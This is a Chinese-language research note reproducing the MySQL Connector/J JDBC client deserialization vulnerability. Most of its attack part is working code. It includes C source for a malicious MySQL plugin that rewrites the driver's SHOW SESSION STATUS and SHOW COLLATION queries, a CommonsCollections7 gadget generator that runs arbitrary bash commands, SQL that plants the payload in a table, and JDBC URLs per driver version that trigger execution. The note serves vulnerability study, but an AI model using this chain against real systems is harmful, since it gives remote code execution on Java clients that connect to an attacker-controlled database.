背景介绍
2019年11月底Yang Zhang等人在BlackHat上有个议题，提到MySQL JDBC客户端反序列化漏洞，用到ServerStatusDiffInterceptor，参[1]。
2019年12月Welkin给出了部分细节，但当时未解决恶意服务端的组建问题，参[2]。
codeplutos利用修改过的MySQL插件成功组建恶意服务端，这个脑洞开得可以。与此同时，他演示了另一条利用路径，用到detectCustomCollations。需要指出，他的方案原理同时适用于ServerStatusDiffInterceptor、detectCustomCollations，他只以后者举例而已。参[3]。
2020年4月fnmsd分析MySQL Connector/J各版本后给出大一统的总结，给出不同版本所需URL，给了Python版恶意服务端，参[4]。
2020年5月我学习前几位的大作，写了这篇笔记。
学习思路
先将[1]、[2]、[3]、[4]全看了一遍，没做实验，只是看。对这个洞大概有点数，通过JDBC建立到MySQL服务端的连接时，有几个内置的SQL查询语句被发出，其中两个查询的结果集在客户端被处理时会调用ObjectInputStream.readObject()进行反序列化。通过控制结果集，可以在客户端搞事，具体危害视客户端拥有的Gadget环境而定。
这两个查询语句是:
SHOW SESSION STATUS
SHOW COLLATION
利用MySQL插件机制将这两个查询语句在服务端”重定向”成查询恶意表，恶意表中某字段存放恶意Object。
需要安装MySQL，创建恶意表，编译定制过的恶意MySQL插件。写一个通用的JDBC客户端程序，用之访问恶意服务端。用Wireshark抓包，基于抓包数据用Python实现简版恶意服务端，这样可以避免陷入MySQL私有协议细节当中。
搭建测试环境
参看
《恶意MySQL Server读取MySQL Client端文件》
http://scz.617.cn/network/202001101612.txt
恶意MySQL插件
1) 获取MySQL 5.7.28源码
https://repo.mysql.com/yum/mysql-5.7-community/el/7/SRPMS/mysql-community-5.7.28-1.el7.src.rpm2) 在rewrite_example基础上修改出evilreplace
$ vi evilreplace.cc
#include <ctype.h>
#include <string.h>
#include <my_global.h>
#include <mysql/plugin.h>
#include <mysql/plugin_audit.h>
#include <mysql/service_mysql_alloc.h>
#include <my_thread.h> // my_thread_handle needed by mysql_memory.h
#include <mysql/psi/mysql_memory.h>
/* instrument the memory allocation */
#ifdef HAVE_PSI_INTERFACE
static PSI_memory_key key_memory_evilreplace;
static PSI_memory_info all_rewrite_memory[]=
{
{ &key_memory_evilreplace, "evilreplace", 0 }
};
static int plugin_init(MYSQL_PLUGIN)
{
const char* category= "sql";
int count;
count= array_elements(all_rewrite_memory);
mysql_memory_register(category, all_rewrite_memory, count);
return 0; /* success */
}
#else
#define plugin_init NULL
#define key_memory_evilreplace PSI_NOT_INSTRUMENTED
#endif /* HAVE_PSI_INTERFACE */
static int rewrite_lower(MYSQL_THD thd, mysql_event_class_t event_class,
const void *event)
{
if (event_class == MYSQL_AUDIT_PARSE_CLASS)
{
const struct mysql_event_parse *event_parse=
static_cast<const struct mysql_event_parse *>(event);
if (event_parse->event_subclass == MYSQL_AUDIT_PARSE_PREPARSE)
{
if
(
( strcmp( event_parse->query.str, "SHOW SESSION STATUS" ) == 0 )
||
( strcmp( event_parse->query.str, "SHOW COLLATION" ) == 0 )
)
{
char evilsql[] = "select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;";
char *rewritten_query = static_cast<char *>
(
my_malloc
(
key_memory_evilreplace,
strlen( evilsql ) + 1,
MYF(0)
)
);
strcpy( rewritten_query, evilsql );
event_parse->rewritten_query->str = rewritten_query;
event_parse->rewritten_query->length = strlen( evilsql ) + 1;
*((int *)event_parse->flags) |= (int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN;
}
}
}
return 0;
}
/* Audit plugin descriptor */
static struct st_mysql_audit evilreplace_descriptor=
{
MYSQL_AUDIT_INTERFACE_VERSION, /* interface version */
NULL, /* release_thd() */
rewrite_lower, /* event_notify() */
{ 0,
0,
(unsigned long) MYSQL_AUDIT_PARSE_ALL, } /* class mask */
};
/* Plugin descriptor */
mysql_declare_plugin(audit_log)
{
MYSQL_AUDIT_PLUGIN, /* plugin type */
&evilreplace_descriptor, /* type specific descriptor */
"evilreplace", /* plugin name */
"Oracle", /* author */
"An example of a query rewrite"
" plugin that rewrites all queries"
" to lower case", /* description */
PLUGIN_LICENSE_GPL, /* license */
plugin_init, /* plugin initializer */
NULL, /* plugin deinitializer */
0x0002, /* version */
NULL, /* status variables */
NULL, /* system variables */
NULL, /* reserverd */
0 /* flags */
}
mysql_declare_plugin_end;参[3]，codeplutos介绍了Ubuntu 16.04下的MySQL插件编译方案。各发行版的编译过程差别较大，RedHat 7.6上明显不同，建议先搞清楚如何编译MySQL源码，再来编译单个插件。
编译:
/usr/bin/c++ -DHAVE_CONFIG_H -DHAVE_LIBEVENT2 -DMYSQL_DYNAMIC_PLUGIN -D_FILE_OFFSET_BITS=64 \
-D_GNU_SOURCE -Devilreplace_EXPORTS -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual \
-Wno-unused-parameter -O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF -fPIC \
-I/<path>/mysql-5.7.28/include \
-I/<path>/mysql-5.7.28/extra/rapidjson/include \
-I/<path>/mysql-5.7.28/libbinlogevents/include \
-I/<path>/mysql-5.7.28/libbinlogevents/export \
-isystem /<path>/mysql-5.7.28/zlib \
-I/<path>/mysql-5.7.28/sql \
-I/<path>/mysql-5.7.28/sql/auth \
-I/<path>/mysql-5.7.28/regex \
-o evilreplace.cc.o \
-c evilreplace.cc链接:
/usr/bin/c++ -fPIC -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual -Wno-unused-parameter \
-O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF \
-fPIC -shared -Wl,-soname,evilreplace.so -o evilreplace.so \
evilreplace.cc.o -lpthread \
/<path>/libmysqlservices.a -lpthread测试rewriter插件
rewriter.so是自带的插件，不需要源码编译。
1) 安装rewriter.so
查看:
/usr/share/mysql/install_rewriter.sql
除了安装rewriter.so，还涉及辅助表和存储过程的创建。
mysql> source /usr/share/mysql/install_rewriter.sql
这会多出query_rewrite库、query_rewrite.rewrite_rules表。
mysql> show plugins；
mysql> SHOW GLOBAL VARIABLES LIKE ‘rewriter_enabled’;
2) 在服务端替换SQL查询语句
向query_rewrite.rewrite_rules表中插入替换规则:
mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('select line from sczdb.SczTable', 'select line from sczdb.scztable limit 1');调用存储过程刷新，使之热生效:
mysql> call query_rewrite.flush_rewrite_rules();测试替换规则:
mysql> select line from sczdb.SczTable;
3) 卸载rewriter.so
mysql> source /usr/share/mysql/uninstall_rewriter.sql只有退出当前客户端才彻底卸载rewriter插件，否则其仍在生效中。
4) rewriter插件的局限性
清空表，二选一，推荐后者:
delete from query_rewrite.rewrite_rules;
truncate table query_rewrite.rewrite_rules;
mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('SHOW SESSION STATUS', 'select * from evildb.eviltable');
mysql> select * from query_rewrite.rewrite_rules;
mysql> call query_rewrite.flush_rewrite_rules();
ERROR 1644 (45000): Loading of some rule(s) failed.调用存储过程刷新时意外失败，查看失败原因:
mysql> select message from query_rewrite.rewrite_rules;
pattern必须是select语句，show语句不行。
据说5.7的pattern只支持select，8.0支持insert、update、delete，未实测验证。难怪codeplutos要修改rewrite_example.cc。
漏洞相关的SQL查询语句
1) SHOW SESSION STATUS
mysql> help SHOW
...
SHOW COLLATION [like_or_where]
...
SHOW [GLOBAL | SESSION] STATUS [like_or_where]
...
If the syntax for a given SHOW statement includes a LIKE 'pattern'
part, 'pattern' is a string that can contain the SQL % and _ wildcard
characters. The pattern is useful for restricting statement output to
matching values.
...
URL: https://dev.mysql.com/doc/refman/5.7/en/show.html
mysql> help SHOW STATUS
...
URL: https://dev.mysql.com/doc/refman/5.7/en/show-status.html“SHOW SESSION STATUS”访问INFORMATION_SCHEMA.SESSION_STATUS表。参[2]，作者说访问INFORMATION_SCHEMA.SESSION_VARIABLES表，他应该说错了。
查看INFORMATION_SCHEMA.SESSION_STATUS表结构:
mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='SESSION_STATUS';
直接访问INFORMATION_SCHEMA.SESSION_STATUS表缺省会失败:
mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;
ERROR 3167 (HY000): The 'INFORMATION_SCHEMA.SESSION_STATUS' feature is disabled; see the documentation for 'show_compatibility_56'需要打开一个开关:
mysql> set @@global.show_compatibility_56=ON;
mysql> select * from INFORMATION_SCHEMA.SESSION_STATUS limit 10;
mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;
2) SHOW COLLATION
mysql> help SHOW COLLATION;
...
URL: https://dev.mysql.com/doc/refman/5.7/en/show-collation.html
mysql> SHOW COLLATION WHERE Charset='latin1';
“SHOW COLLATION”访问INFORMATION_SCHEMA.COLLATIONS表。
查看INFORMATION_SCHEMA.COLLATIONS表结构:
mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='COLLATIONS';
可以直接访问INFORMATION_SCHEMA.COLLATIONS表，与show_compatibility_56无关。
mysql> show variables like 'show_compatibility_56';
mysql> select * from INFORMATION_SCHEMA.COLLATIONS limit 5;
复现漏洞
1) GenerateCommonsCollections7.java
/*
* javac -encoding GBK -g -cp "commons-collections-3.1.jar" GenerateCommonsCollections7.java
* java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin
*/
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import javax.naming.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
public class GenerateCommonsCollections7
{
/*
* ysoserial/CommonsCollections7
*/
@SuppressWarnings("unchecked")
private static Object getObject ( String cmd ) throws Exception
{
Transformer[] tarray = new Transformer[]
{
new ConstantTransformer( Runtime.class ),
new InvokerTransformer
(
"getMethod",
new Class[]
{
String.class,
Class[].class
},
new Object[]
{
"getRuntime",
new Class[0]
}
),
new InvokerTransformer
(
"invoke",
new Class[]
{
Object.class,
Object[].class
},
new Object[]
{
null,
new Object[0]
}
),
new InvokerTransformer
(
"exec",
new Class[]
{
String[].class
},
new Object[]
{
new String[]
{
"/bin/bash",
"-c",
cmd
}
}
)
};
Transformer tchain = new ChainedTransformer( new Transformer[0] );
Map normalMap_0 = new HashMap();
Map normalMap_1 = new HashMap();
Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain );
Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain );
lazyMap_0.put( "scz", "same" );
lazyMap_1.put( "tDz", "same" );
Hashtable ht = new Hashtable();
ht.put( lazyMap_0, "value_0" );
ht.put( lazyMap_1, "value_1" );
lazyMap_1.remove( "scz" );
Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" );
f.setAccessible( true );
f.set( tchain, tarray );
return( ht );
}
public static void main ( String[] argv ) throws Exception
{
String cmd = argv[0];
String out = argv[1];
Object obj = getObject( cmd );
FileOutputStream fos = new FileOutputStream( out );
ObjectOutputStream oos = new ObjectOutputStream( fos );
oos.writeObject( obj );
oos.close();
fos.close();
}
}java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin
xxd -p -c 1000000 /tmp/out.bin输出形如:
aced00057372…3178
2) 创建恶意表
DROP TABLE IF EXISTS evildb.eviltable;
DROP DATABASE IF EXISTS evildb;
CREATE DATABASE IF NOT EXISTS evildb;
CREATE TABLE IF NOT EXISTS evildb.eviltable
(
evil_1 int(5),
evil_2 blob,
evil_3 int(5)
);
set @obj=0xaced00057372...3178;
INSERT INTO evildb.eviltable VALUES (1, @obj, 3);
UPDATE evildb.eviltable SET evil_1=1, evil_2=@obj, evil_3=3;
select lower(hex(evil_2)) from evildb.eviltable;
SHOW GRANTS FOR root;
GRANT ALL ON evildb.eviltable TO 'root'@'%';
REVOKE ALL ON evildb.eviltable FROM 'root'@'%';evil_1、evil_3也可以用blob类型，填充同样的@obj，触发点略有差异。上面演示的恶意表是最小集，通吃。
3) 用evilreplace插件改变SQL查询语句
用evilreplace插件将来自客户端的:
SHOW SESSION STATUS
SHOW COLLATION
替换成:
select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;参[3]，这是codeplutos的思路，很有想像力，他用了自编译rewrite_example.so。
INSTALL PLUGIN evilreplace SONAME 'evilreplace.so';
SHOW SESSION STATUS;
SHOW COLLATION;
UNINSTALL PLUGIN evilreplace;4) JDBCClient.java
/*
* javac -encoding GBK -g JDBCClient.java
*/
import java.io.*;
import java.sql.*;
public class JDBCClient
{
public static void main ( String[] argv ) throws Exception
{
String url = argv[0];
Connection conn = DriverManager.getConnection( url );
}
}JDBCClient.java无需显式代码:
Class.forName( "com.mysql.cj.jdbc.Driver" );5) MySQL Connector/J 各版本所需URL(ServerStatusDiffInterceptor)
参[4]，fnmsd分析了各种版本所需URL。
5.1) 8.x
java \
-cp "mysql-connector-java-8.0.14.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"5.1.1) 简化版调用关系
DriverManager.getConnection // 8u232+8.0.14
DriverManager.getConnection // DriverManager:270
NonRegisteringDriver.connect // DriverManager:664
ConnectionImpl.getInstance // NonRegisteringDriver:199
ConnectionImpl.<init> // ConnectionImpl:240
ConnectionImpl.initializeSafeQueryInterceptors // ConnectionImpl:448
ConnectionImpl.createNewIO // ConnectionImpl:455
ConnectionImpl.connectOneTryOnly // ConnectionImpl:825
ConnectionImpl.initializePropsFromServer // ConnectionImpl:966
ConnectionImpl.handleAutoCommitDefaults // ConnectionImpl:1327
ConnectionImpl.setAutoCommit // ConnectionImpl:1382
NativeSession.execSQL // ConnectionImpl:2064
// 查询语句"SET autocommit=1"
NativeProtocol.sendQueryString // NativeSession:1154
NativeProtocol.sendQueryPacket // NativeProtocol:921
if (this.queryInterceptors != null) // NativeProtocol:969
NativeProtocol.invokeQueryInterceptorsPre // NativeProtocol:970
NoSubInterceptorWrapper.preProcess // NativeProtocol:1144
ServerStatusDiffInterceptor.preProcess
// NoSubInterceptorWrapper:76
ServerStatusDiffInterceptor.populateMapWithSessionStatusValues
// ServerStatusDiffInterceptor:105
rs = stmt.executeQuery("SHOW SESSION STATUS")
// ServerStatusDiffInterceptor:86
// 自动提交SQL查询
ResultSetUtil.resultSetToMap // ServerStatusDiffInterceptor:87
ResultSetImpl.getObject // ResultSetUtil:46
// mappedValues.put(rs.getObject(1), rs.getObject(2))
// 处理结果集中第1、2列
if ((field.isBinary()) || (field.isBlob()))
// ResultSetImpl:1314
byte[] data = getBytes(columnIndex)
// ResultSetImpl:1315
if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())
// ResultSetImpl:1317
// 要求autoDeserialize等于true
ObjectInputStream.readObject // ResultSetImpl:1326
// obj = objIn.readObject();
Hashtable.readObject // ysoserial/CommonsCollections7
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get // 此处开始LazyMap利用链
ChainedTransformer.transform
InvokerTransformer.transform
Runtime.exec
if (this.queryInterceptors != null) // NativeProtocol:1109
NativeProtocol.invokeQueryInterceptorsPost
// NativeProtocol:11105.1.2) mysql-connector-java-8.0.14.pcap
请自行抓包，此处略
5.2) 6.x
queryInterceptors => statementInterceptors
java \
-cp "mysql-connector-java-6.0.3.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"5.2.2) mysql-connector-java-6.0.3.pcap
请自行抓包，此处略
5.3) 5.1.11及以上版本
com.mysql.cj. => com.mysql.
java \
-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"5.3.2) mysql-connector-java-5.1.40.pcap
请自行抓包，此处略
6) MySQL Connector/J 各版本所需URL(detectCustomCollations)
参[3]，触发方式是codeplutos提供的。重点看这个函数:
com.mysql.jdbc.ConnectionImpl.buildCollationMapping()参[4]，fnmsd分析了各种版本所需URL。
6.1) 5.1.29-5.1.40
java \
-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true&detectCustomCollations=true"会抛异常，但恶意代码已被执行。
6.1.1) 简化版调用关系
DriverManager.getConnection // 8u232+5.1.40
DriverManager.getConnection // DriverManager:270
NonRegisteringDriver.connect // DriverManager:664
ConnectionImpl.getInstance // NonRegisteringDriver:328
Util.handleNewInstance // ConnectionImpl:410
Constructor.newInstance // Util:425
JDBC4Connection.<init>
ConnectionImpl.<init> // JDBC4Connection:47
ConnectionImpl.initializeSafeStatementInterceptors // ConnectionImpl:805
ConnectionImpl.createNewIO // ConnectionImpl:806
ConnectionImpl.connectOneTryOnly // ConnectionImpl:2083
ConnectionImpl.initializePropsFromServer // ConnectionImpl:2297
if (versionMeetsMinimum(3, 21, 22)) // ConnectionImpl:3282
ConnectionImpl.buildCollationMapping // ConnectionImpl:3291
if ((versionMeetsMinimum(4, 1, 0)) && (getDetectCustomCollations()))
// ConnectionImpl:944
// 5.1.28版只检查版本号，未检查detectCustomCollations属性
results = stmt.executeQuery("SHOW COLLATION")
// ConnectionImpl:957
// 自动提交SQL查询
if (versionMeetsMinimum(5, 0, 0)) // ConnectionImpl:958
Util.resultSetToMap // ConnectionImpl:959
// Util.resultSetToMap(sortedCollationMap, results, 3, 2)
// 处理结果集中第3、2列
ResultSetImpl.getObject // Util:474
// mappedValues.put(rs.getObject(key), rs.getObject(value))
ResultSetImpl.getObjectDeserializingIfNeeded
// ResultSetImpl:4544
byte[] data = getBytes(columnIndex) // ResultSetImpl:4568
ObjectInputStream.readObject // ResultSetImpl:4579
// obj = objIn.readObject()
Hashtable.readObject // ysoserial/CommonsCollections7
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get // 此处开始LazyMap利用链
ChainedTransformer.transform
InvokerTransformer.transform
Runtime.exec6.1.2) mysql-connector-java-5.1.40_d.pcap
请自行抓包，此处略
6.2) 5.1.19-5.1.28
不需要指定”detectCustomCollations=true”
java \
-cp "mysql-connector-java-5.1.19.jar:commons-collections-3.1.jar:." \
JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\
autoDeserialize=true"6.2.2) mysql-connector-java-5.1.19_d.pcap
请自行抓包，此处略
7) Python版恶意服务端
7.1) fnmsd的实现
https://github.com/fnmsd/MySQL_Fake_Server
他这个实现同时支持ServerStatusDiffInterceptor、detectCustomCollations，还支持”恶意MySQL Server读取MySQL Client端文件”，只需要Python3。
他在”踩过的坑”里写了一些值得注意的点，有兴趣者可以看他的源码。
7.2) 其他思路
fnmsd的实现，功能完备。如果只是想搞标题所说漏洞，我说个别的思路。可以基于Gifts版本实现反序列化恶意服务端:
https://github.com/Gifts/Rogue-MySql-Server
ServerStatusDiffInterceptor适用范围包含detectCustomCollations适用范围，为了减少麻烦，可以只支持ServerStatusDiffInterceptor。具体来说，就是只特殊响应”SHOW SESSION STATUS”，不特殊响应”SHOW COLLATION”。
基于三次抓包组织响应报文:
mysql-connector-java-5.1.40.pcap
mysql-connector-java-6.0.3.pcap
mysql-connector-java-8.0.14.pcap
要点如下:
5.1.11及以上版本
6.x
特殊响应"SHOW SESSION STATUS"，然后必须特殊响应随后而来的
"SHOW WARNINGS"。
8.x
按抓包所示响应初始查询:
/* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SELECT ...
然后按抓包所示响应随后而来的"SHOW WARNINGS"。
特殊响应"SHOW SESSION STATUS"，然后必须特殊响应随后而来的
"SHOW WARNINGS"。这种搞法的好处是不用特别理解MySQL私有协议，fnmsd”踩过的坑”你都不会碰上。
十多年前我们按协议规范组织SMB报文时，有天看到某人在PoC里用了一个变量名，叫sendcode，他实际是把Ethereal抓包看到数据直接投放出来。当时我们很震惊，不是佩服得震惊。后来觉得某些场景下这样干，也没什么可鄙视的。
基于三次抓包组织响应报文的思路，跟sendcode异曲同工，比你想像得要通用。
当然，如果不是特别好奇，还是用fnmsd的实现吧。
参考资源
[1] New Exploit Technique In Java Deserialization Attack – Yang Zhang [2019-11-26]
[2] JDBC导致的反序列化攻击 – Welkin [2019-12-17]
https://www.cnblogs.com/Welk1n/p/12056097.html
[3]
https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload
[4] MySQL JDBC客户端反序列化漏洞分析 – fnmsd [2020-04-15]
https://www.anquanke.com/post/id/203086
https://blog.csdn.net/fnmsd/article/details/106232092
https://github.com/fnmsd/MySQL_Fake_Server
[5] 6.2 Connection URL Syntax
https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-jdbc-url-format.html
6.3 Configuration Properties
https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-configuration-properties.html
13.7.5.25 SHOW PLUGINS Statement
https://dev.mysql.com/doc/refman/5.7/en/show-plugins.html
24.10 The INFORMATION_SCHEMA GLOBAL_STATUS and SESSION_STATUS Tables
https://dev.mysql.com/doc/refman/5.7/en/status-table.html
14.6.4.1 COM_QUERY Response
https://dev.mysql.com/doc/internals/en/com-query-response.html
14.7.3 Binary Protocol Value
https://dev.mysql.com/doc/internals/en/binary-protocol-value.html
14.12.2 ProtocolText::Resultset
https://dev.mysql.com/doc/internals/en/protocoltext-resultset.html